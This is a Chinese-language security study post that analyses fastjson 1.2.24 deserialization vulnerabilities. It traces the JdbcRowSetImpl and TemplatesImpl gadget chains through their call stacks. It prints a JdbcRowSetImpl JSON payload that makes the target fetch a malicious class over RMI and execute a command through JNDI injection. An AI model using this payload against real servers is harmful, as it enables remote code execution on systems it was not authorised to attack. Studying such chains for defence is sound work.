前言
fastjson反序列化,JAVA安全绕不过的坎。
反序列化原理
一般情况下,fastjson反序列化的结果是一个JSONObject的对象,但在序列化时设置SerializerFeature为WriteClassName,序列化的字符串就会多一个@type的键值对,在反序列化时就会按照@type的值,返回相应的对象。
实验代码和运行结果如下,可以看到当反序列化的方法为parse和parseObject且传入参数为json字符串和Class实例时,会自动调用给定类的构造方法和setter方法;当放序列化方法为parseObject且只传入json字符串时,会调用给定类的构造方法、setter方法和全部的getter方法。
1 | public static void main(String[] args){ |

综上,构造payload的入口类的构造方法、setter方法或getter方法需要具有实现想要功能的代码,或可通过这些方法跳转到中间衔接类或目的实现类。
POC分析
fastjson在1.2.24下有两个通用的payload:JdbcRowSetImpl和TemplatesImpl。
JdbcRowSetImpl
从以下payload可以看出是通过JNDI注入实现命令执行的,搭好RMI服务后,在Runtime的exec方法下个断点。
1 | {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:8888/Calc","autoCommit":true} |
调用栈很简单,在setAutoCommit方法调用connnet方法,而connnet方法又使用我们设置的JNDI字符串调用lookup方法,加载恶意的工厂类导致命令执行。当然也因为是JNDI的利用方式,在一些低版本JDK环境下才能利用成功。

TemplatesImpl
TemplatesImpl的POC构造比JdbcRowSetImpl复杂些,而且对反序列化的SerializerFeature参数有要求,使用parseObject时需要JSON.parseObject(json, Object.class, Feature.SupportNonPublicField),parse方法时需要JSON.parse(json,Feature.SupportNonPublicField),但好处就是无需出网加载恶意类。
下面是利用代码,同样在exec方法下断点继续调试。
1 | public class Templates { |
调用栈显示设置outputProperties而调用它的setter方法,接着再陆续调用newTransformer方法和getTransletInstance方法。主要的代码在getTransletInstance方法中,实例化_class数组里相应的Class实例。而_class数组我们是没有在json中设置的,它的赋值是在上面的defineTransletClasses方法。

跟进defineTransletClasses方法,会通过TransletClassLoader的defineClass将我传入的_bytecodes字节转换为Class实例,但在这之前和之后会调用_tfactory的方法和判断_transletIndex是否小于0。这时可以利用fastjson自动实例化传空值的属性的类型的特性,将_tfactory初始化,然后_transletIndex的问题,可以令恶意类的父类为com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl在if里给_transletIndex赋值。还有个_name属性,在getTransletInstance方法里判断为空则会返回空,不会进入到实例化的方法里,在这里给_name属性赋任意字符串值即可。

还有个问题就是,payload里_bytecodes的值为数组套个base64的字符串,但在TemplatesImpl里_bytecodes的类型是二维数组字节。通过别的文章得知fastjson是使用自己的IOUtils工具类实现base64解码的,在相应的方法下断点。ObjectArrayCodec的deserialze方法调用JSONScanner的bytesVAlues方法进行base64解码。

再往上几层跟进到DefaultFieldDeserializer的parseField方法,根据不同的fieldValueDeserilizer值通过deserialze反序列化获取属性的值。而fieldValueDeserilizer的值又是从ParserConfig的getDeserializer方法获取,在这个方法里,数组类型的属性会返回ObjectArrayCodec实例的derializer。ObjectArrayCodec会像调用栈所示那样,对数组类型属性的base64值解码还原。

属性的问题明了了,回到TemplatesImpl的getTransletInstance方法,实例化_classClass实例数组里的类,执行类恶意类里的静态方法,至此利用结束。

后记
平庸这东西犹如白衬衣上的污痕,一旦染上便永远洗不掉,无可挽回
参考
https://y4er.com/post/fastjson-learn/
https://www.cnblogs.com/chengez/p/14789477.html